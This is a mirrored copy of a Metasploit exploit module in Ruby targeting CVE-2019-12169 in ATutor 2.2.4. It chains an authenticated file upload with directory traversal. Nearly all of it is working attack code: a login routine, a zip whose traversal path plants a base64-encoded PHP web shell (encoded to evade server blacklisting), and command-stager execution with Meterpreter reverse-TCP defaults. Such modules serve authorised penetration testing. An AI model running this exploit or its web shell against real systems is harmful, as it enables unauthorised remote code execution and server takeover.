Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/atutor_upload_traversal.rb
32534 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Exploit::CmdStager
10
include Msf::Exploit::FileDropper
11
prepend Msf::Exploit::Remote::AutoCheck
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'ATutor 2.2.4 - Directory Traversal / Remote Code Execution,',
18
'Description' => %q{
19
This module exploits an arbitrary file upload vulnerability together with
20
a directory traversal flaw in ATutor versions 2.2.4, 2.2.2 and 2.2.1 in
21
order to execute arbitrary commands.
22
23
It first creates a zip archive containing a malicious PHP file. The zip
24
archive takes advantage of a directory traversal vulnerability that will
25
cause the PHP file to be dropped in the root server directory (`htdocs`
26
for Windows and `html` for Linux targets). The PHP file contains an
27
encoded payload that allows for remote command execution on the
28
target server. The zip archive can be uploaded via two vectors, the
29
`Import New Language` function and the `Patcher` function. The module
30
first uploads the archive via `Import New Language` and then attempts to
31
execute the payload via an HTTP GET request to the PHP file in the root
32
server directory. If no session is obtained, the module creates another
33
zip archive and attempts exploitation via `Patcher`.
34
35
Valid credentials for an ATutor admin account are required. This module
36
has been successfully tested against ATutor 2.2.4 running on Windows 10
37
(XAMPP server).
38
},
39
'License' => MSF_LICENSE,
40
'Author' => [
41
'liquidsky (JMcPeters)', # PoC
42
'Erik Wynter' # @wyntererik - Metasploit
43
],
44
'References' => [
45
['CVE', '2019-12169'],
46
['URL', 'https://github.com/fuzzlove/ATutor-2.2.4-Language-Exploit/'] # PoC
47
],
48
'Targets' => [
49
[ 'Auto', {} ],
50
[
51
'Linux', {
52
'Arch' => [ARCH_X86, ARCH_X64],
53
'Platform' => 'linux',
54
'CmdStagerFlavor' => :printf,
55
'DefaultOptions' => {
56
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
57
}
58
}
59
],
60
[
61
'Windows', {
62
'Arch' => [ARCH_X86, ARCH_X64],
63
'Platform' => 'win',
64
'CmdStagerFlavor' => :vbs,
65
'DefaultOptions' => {
66
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
67
}
68
}
69
]
70
],
71
'Privileged' => true,
72
'DisclosureDate' => '2019-05-17',
73
'DefaultOptions' => {
74
'RPORT' => 80,
75
'SSL' => false,
76
'WfsDelay' => 3 # If exploitation via `Import New Language` doesn't work, wait this long before attempting exploiting via `Patcher`
77
},
78
'DefaultTarget' => 0,
79
'Notes' => {
80
'Stability' => [CRASH_SAFE],
81
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
82
'Reliability' => []
83
}
84
)
85
)
86
87
register_options [
88
OptString.new('TARGETURI', [true, 'The base path to ATutor', '/ATutor/']),
89
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
90
OptString.new('PASSWORD', [true, 'Password to authenticate with', '']),
91
OptString.new('FILE_TRAVERSAL_PATH', [false, 'Traversal path to the root server directory.', ''])
92
]
93
end
94
95
def select_target(res)
96
unless res.headers.include? 'Server'
97
print_warning('Could not detect target OS.')
98
return
99
end
100
101
# The ATutor documentation recommends installing it on a XAMPP server.
102
# By default, the Apache server header reveals the target OS using one of the strings used as keys in the hash below
103
# Apache probably supports more OS keys, which can be added to the array
104
target_os = res.headers['Server'].split('(')[1].split(')')[0]
105
106
fail_with(Failure::NoTarget, 'Unable to determine target OS') unless target_os
107
108
case target_os
109
when 'CentOS', 'Debian', 'Fedora', 'Ubuntu', 'Unix'
110
@my_target = targets[1]
111
when 'Win32', 'Win64'
112
@my_target = targets[2]
113
else
114
fail_with(Failure::NoTarget, 'No valid target for target OS')
115
end
116
117
print_good("Identified the target OS as #{target_os}.")
118
end
119
120
def check
121
vprint_status('Running check')
122
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.php'))
123
124
unless res
125
return CheckCode::Unknown('Connection failed')
126
end
127
128
unless res.code == 302 && res.body.include?('content="ATutor')
129
return CheckCode::Safe('Target is not an ATutor application.')
130
end
131
132
res = login
133
unless res
134
return CheckCode::Unknown('Authentication failed')
135
end
136
137
unless (res.code == 200 || res.code == 302) && res.body.include?('<title>Home: Administration</title>')
138
return CheckCode::Unknown('Failed to authenticate as a user with admin privileges.')
139
end
140
141
print_good("Successfully authenticated as user '#{datastore['USERNAME']}'. We have admin privileges!")
142
143
ver_no = nil
144
html = res.get_html_document
145
info = html.search('dd')
146
info.each do |dd|
147
if dd.text.include?('Version')
148
/(?<ver_no>\d+\.\d+\.\d+)/ =~ dd.text
149
end
150
end
151
152
@version = ver_no
153
unless @version && !@version.to_s.empty?
154
return CheckCode::Detected('Unable to obtain ATutor version. However, the project is no longer maintained, so the target is likely vulnerable.')
155
end
156
157
@version = Rex::Version.new(@version)
158
unless @version <= Rex::Version.new('2.4')
159
return CheckCode::Unknown("Target is ATutor with version #{@version}.")
160
end
161
162
CheckCode::Appears("Target is ATutor with version #{@version}.")
163
end
164
165
def login
166
hashed_pass = Rex::Text.sha1(datastore['PASSWORD'])
167
@token = Rex::Text.rand_text_alpha_lower(5..8)
168
hashed_pass << @token
169
hash_final = Rex::Text.sha1(hashed_pass)
170
171
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.php'))
172
return unless res
173
174
res = send_request_cgi(
175
'method' => 'POST',
176
'uri' => normalize_uri(target_uri.path, 'login.php'),
177
'vars_post' =>
178
{
179
'form_login_action' => 'true',
180
'form_login' => datastore['USERNAME'],
181
'form_password' => '',
182
'form_password_hidden' => hash_final,
183
'token' => @token,
184
'submit' => 'Login'
185
}
186
)
187
188
return unless res
189
190
# from exploits/multi/http/atutor_sqli
191
if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
192
@cookie = "ATutorID=#{Regexp.last_match(4)};"
193
else
194
@cookie = res.get_cookies
195
end
196
197
redirect = URI(res.headers['Location'])
198
res = send_request_cgi({
199
'method' => 'GET',
200
'uri' => normalize_uri(target_uri.path, redirect),
201
'cookie' => @cookie
202
})
203
204
res
205
end
206
207
def patcher_csrf_token(upload_url)
208
res = send_request_cgi({
209
'method' => 'GET',
210
'uri' => upload_url,
211
'cookie' => @cookie
212
})
213
214
unless res && (res.code == 200 || res.code == 302)
215
fail_with(Failure::NoAccess, 'Failed to obtain csrf token.')
216
end
217
218
html = res.get_html_document
219
csrf_token = html.at('input[@name="csrftoken"]')
220
csrf_token = csrf_token['value'] if csrf_token
221
222
max_file_size = html.at('input[@name="MAX_FILE_SIZE"]')
223
max_file_size = max_file_size['value'] if max_file_size
224
225
unless csrf_token && csrf_token.to_s.strip != ''
226
csrf_token = @token # these should be the same because if the token generated by the module during authentication is accepted by the app, it becomes the csrf token
227
end
228
229
unless max_file_size && max_file_size.to_s.strip != ''
230
max_file_size = '52428800' # this seems to be the default value
231
end
232
233
return csrf_token, max_file_size
234
end
235
236
def create_zip_and_upload(exploit)
237
@pl_file = Rex::Text.rand_text_alpha_lower(6..10)
238
@pl_file << '.php'
239
register_file_for_cleanup(@pl_file)
240
@header = Rex::Text.rand_text_alpha_upper(4)
241
@pl_command = Rex::Text.rand_text_alpha_lower(6..10)
242
# encoding is necessary to evade blacklisting on server side
243
@pl_encoded = Rex::Text.encode_base64("\r\n\t\r\n<?php echo passthru($_GET['#{@pl_command}']); ?>\r\n")
244
245
if datastore['FILE_TRAVERSAL_PATH'] && !datastore['FILE_TRAVERSAL_PATH'].empty?
246
@traversal_path = datastore['FILE_TRAVERSAL_PATH']
247
elsif @my_target['Platform'] == 'linux'
248
@traversal_path = '../../../../../../var/www/html/'
249
else
250
# The ATutor documentation recommends Windows users to use a XAMPP server.
251
@traversal_path = '..\\..\\..\\..\\..\\../xampp\\htdocs\\'
252
end
253
254
@traversal_path = "#{@traversal_path}#{@pl_file}"
255
256
# create zip file
257
zip_file = Rex::Zip::Archive.new
258
zip_file.add_file(@traversal_path, "<?php eval(\"?>\".base64_decode(\"#{@pl_encoded}\")); ?>")
259
zip_name = Rex::Text.rand_text_alpha_lower(5..8)
260
zip_name << '.zip'
261
262
post_data = Rex::MIME::Message.new
263
264
# select exploit method
265
if exploit == 'language'
266
print_status('Attempting exploitation via the `Import New Language` function.')
267
upload_url = normalize_uri(target_uri.path, 'mods', '_core', 'languages', 'language_import.php')
268
269
post_data.add_part(zip_file.pack, 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{zip_name}\"")
270
post_data.add_part('Import', nil, nil, 'form-data; name="submit"')
271
elsif exploit == 'patcher'
272
print_status('Attempting exploitation via the `Patcher` function.')
273
upload_url = normalize_uri(target_uri.path, 'mods', '_standard', 'patcher', 'index_admin.php')
274
275
patch_info = patcher_csrf_token(upload_url)
276
csrf_token = patch_info[0]
277
max_file_size = patch_info[1]
278
279
post_data.add_part(csrf_token, nil, nil, 'form-data; name="csrftoken"')
280
post_data.add_part(max_file_size, nil, nil, 'form-data; name="MAX_FILE_SIZE"')
281
post_data.add_part(zip_file.pack, 'application/zip', nil, "form-data; name=\"patchfile\"; filename=\"#{zip_name}\"")
282
post_data.add_part('Install', nil, nil, 'form-data; name="install_upload"')
283
post_data.add_part('1', nil, nil, 'form-data; name="uploading"')
284
else
285
fail_with(Failure::Unknown, 'An error occurred.')
286
end
287
288
res = send_request_cgi({
289
'method' => 'POST',
290
'uri' => upload_url,
291
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
292
'cookie' => @cookie,
293
'headers' => {
294
'Accept-Encoding' => 'gzip,deflate',
295
'Referer' => "http://#{datastore['RHOSTS']}#{upload_url}"
296
},
297
'data' => post_data.to_s
298
})
299
300
unless res
301
fail_with(Failure::Unknown, 'Connection failed while trying to upload the payload.')
302
end
303
304
unless res.code == 200 || res.code == 302
305
fail_with(Failure::Unknown, 'Failed to upload the payload.')
306
end
307
print_status("Uploaded malicious PHP file #{@pl_file}.")
308
end
309
310
def execute_command(cmd, _opts = {})
311
send_request_cgi({
312
'method' => 'GET',
313
'uri' => normalize_uri(@pl_file),
314
'cookie' => @cookie,
315
'vars_get' => { @pl_command => cmd }
316
})
317
end
318
319
def exploit
320
res = login
321
if target.name == 'Auto'
322
select_target(res)
323
else
324
@my_target = target
325
end
326
327
# There are two vulnerable functions, the `Import New Language` function and the `Patcher` function
328
# The module first attempts to exploit `Import New Language`. If that fails, it tries to exploit `Patcher`
329
create_zip_and_upload('language')
330
print_status("Executing payload via #{normalize_uri(@pl_file)}/#{@pl_command}?=<payload>...")
331
332
if @my_target['Platform'] == 'linux'
333
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'], temp: './')
334
else
335
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'])
336
end
337
sleep(wfs_delay)
338
339
# The only way to know whether or not the exploit succeeded, is by checking if a session was created
340
unless session_created?
341
print_warning('Failed to obtain a session when exploiting `Import New Language`.')
342
create_zip_and_upload('patcher')
343
print_status("Executing payload via #{normalize_uri(@pl_file)}/#{@pl_command}?=<payload>...")
344
if @my_target['Platform'] == 'linux'
345
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'], temp: './')
346
else
347
execute_cmdstager(background: true, flavor: @my_target['CmdStagerFlavor'])
348
end
349
end
350
end
351
end
352
353